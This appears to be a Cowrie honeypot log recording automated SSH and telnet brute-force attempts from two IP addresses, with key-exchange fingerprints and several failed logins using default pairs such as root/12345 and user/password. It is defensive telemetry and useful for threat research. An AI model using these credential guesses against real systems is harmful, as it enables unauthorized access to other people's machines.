{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:03.903431Z","src_ip":"45.156.87.253","session":"f6a3cef787ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:04.145121Z","src_ip":"45.156.87.253","session":"f6a3cef787ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:05.227214Z","src_ip":"45.156.87.253","session":"f6a3cef787ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36556,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6849d528283","protocol":"ssh","message":"New connection: 45.156.87.253:36556 (10.17.0.5:22) [session: a6849d528283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:07.126562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:07.129987Z","src_ip":"45.156.87.253","session":"a6849d528283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:07.211205Z","src_ip":"45.156.87.253","session":"a6849d528283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"user","message":"login attempt [deploy/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:07.455919Z","src_ip":"45.156.87.253","session":"a6849d528283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:08.544364Z","src_ip":"45.156.87.253","session":"a6849d528283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43928,"dst_ip":"10.17.0.5","dst_port":22,"session":"20158527f02b","protocol":"ssh","message":"New connection: 45.156.87.253:43928 (10.17.0.5:22) [session: 20158527f02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:10.466481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:10.470434Z","src_ip":"45.156.87.253","session":"20158527f02b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:10.651387Z","src_ip":"45.156.87.253","session":"20158527f02b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:10.929353Z","src_ip":"45.156.87.253","session":"20158527f02b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:12.015199Z","src_ip":"45.156.87.253","session":"20158527f02b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43934,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0cfbccdd70a","protocol":"ssh","message":"New connection: 45.156.87.253:43934 (10.17.0.5:22) [session: e0cfbccdd70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:13.939257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:13.942472Z","src_ip":"45.156.87.253","session":"e0cfbccdd70a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:14.022601Z","src_ip":"45.156.87.253","session":"e0cfbccdd70a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:14.263936Z","src_ip":"45.156.87.253","session":"e0cfbccdd70a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:15.389939Z","src_ip":"45.156.87.253","session":"e0cfbccdd70a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43938,"dst_ip":"10.17.0.5","dst_port":22,"session":"8540ef43a3e4","protocol":"ssh","message":"New connection: 45.156.87.253:43938 (10.17.0.5:22) [session: 8540ef43a3e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:17.264241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:17.267668Z","src_ip":"45.156.87.253","session":"8540ef43a3e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:17.347977Z","src_ip":"45.156.87.253","session":"8540ef43a3e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:17.760791Z","src_ip":"45.156.87.253","session":"8540ef43a3e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:18.843824Z","src_ip":"45.156.87.253","session":"8540ef43a3e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.78365969657898,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:19.709610Z","src_ip":"14.47.200.242","session":"0bda03157bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.47.200.242","src_port":38110,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba43d4996114","protocol":"telnet","message":"New connection: 14.47.200.242:38110 (159.203.135.109:23) [session: ba43d4996114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:19.905512Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"fidel123","message":"login attempt [root/fidel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:20.746737Z","src_ip":"14.47.200.242","session":"ba43d4996114","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44350,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3154fac0174","protocol":"ssh","message":"New connection: 45.156.87.253:44350 (10.17.0.5:22) [session: c3154fac0174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:20.791066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:20.794972Z","src_ip":"45.156.87.253","session":"c3154fac0174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:20.877480Z","src_ip":"45.156.87.253","session":"c3154fac0174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:21.121214Z","src_ip":"45.156.87.253","session":"c3154fac0174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:21.657495Z","src_ip":"14.47.200.242","session":"ba43d4996114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:22.311660Z","src_ip":"45.156.87.253","session":"c3154fac0174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:22.554572Z","src_ip":"14.47.200.242","session":"ba43d4996114","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44364,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e7ec5bc925a","protocol":"ssh","message":"New connection: 45.156.87.253:44364 (10.17.0.5:22) [session: 6e7ec5bc925a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:24.099681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:24.103688Z","src_ip":"45.156.87.253","session":"6e7ec5bc925a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:24.183600Z","src_ip":"45.156.87.253","session":"6e7ec5bc925a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:24.437054Z","src_ip":"45.156.87.253","session":"6e7ec5bc925a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:25.519780Z","src_ip":"45.156.87.253","session":"6e7ec5bc925a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44380,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf41683c886c","protocol":"ssh","message":"New connection: 45.156.87.253:44380 (10.17.0.5:22) [session: bf41683c886c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:27.558223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:27.561688Z","src_ip":"45.156.87.253","session":"bf41683c886c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:27.643579Z","src_ip":"45.156.87.253","session":"bf41683c886c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:27.885975Z","src_ip":"45.156.87.253","session":"bf41683c886c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:28.969142Z","src_ip":"45.156.87.253","session":"bf41683c886c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45730,"dst_ip":"10.17.0.5","dst_port":22,"session":"009fa2a340fd","protocol":"ssh","message":"New connection: 45.156.87.253:45730 (10.17.0.5:22) [session: 009fa2a340fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:30.883664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:30.887373Z","src_ip":"45.156.87.253","session":"009fa2a340fd","protocol":"ssh"}
